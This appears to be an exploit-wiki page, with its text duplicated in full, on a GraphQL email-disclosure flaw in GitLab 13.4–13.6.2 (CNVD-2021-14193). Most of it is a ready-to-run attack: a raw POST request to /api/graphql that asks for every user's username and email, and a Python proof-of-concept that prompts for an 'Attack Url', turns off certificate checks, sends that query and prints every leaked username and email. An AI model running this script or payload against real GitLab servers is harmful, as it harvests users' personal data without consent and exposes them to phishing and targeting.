# GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/en
==Affected Versions==
GitLab 13.4 – 13.6.2
==Exploit==
http://xxx.xxx.xxx.xxx/-//graphql-explorer
GitLab itself doesn’t allow unauthorized access to email data, but through a username query towards GraphQL the email data could get exposed.
In the original report, it requires that you have known the username to acquire its email address; but through another constructed query you could get all usernames and email addresses in a row
Send the payload to /api/graphql
POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json
{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
==POC==
import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+--------------WgpSec--Team----------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/api/graphql"
user_number = 0
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/json",
}
try:
data = """
{"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null}
"""
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
for i in range(0,999):
try:
username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
user_number = user_number + 1
print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
except:
print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
sys.exit(0)
else:
print("\033[31m[x] 不存在漏洞 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
==Affected Versions==
GitLab 13.4 – 13.6.2
==Exploit==
http://xxx.xxx.xxx.xxx/-//graphql-explorer
GitLab itself doesn’t allow unauthorized access to user’s email address, but through a username query towards GraphQL the email data could get exposed.
In the original report, it requires that you have known the username to acquire its email address; but through another constructed query you could get all usernames and email addresses in a row
Send the payload to /api/graphql
Full payload is as below:
POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json
{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
Usernames and their email address could be seen in the returned content.
==POC==
import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+--------------WgpSec--Team----------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/api/graphql"
user_number = 0
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/json",
}
try:
data = """
{"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null}
"""
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
for i in range(0,999):
try:
username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
user_number = user_number + 1
print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
except:
print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
sys.exit(0)
else:
print("\033[31m[x] 不存在漏洞 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
==Reference==
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
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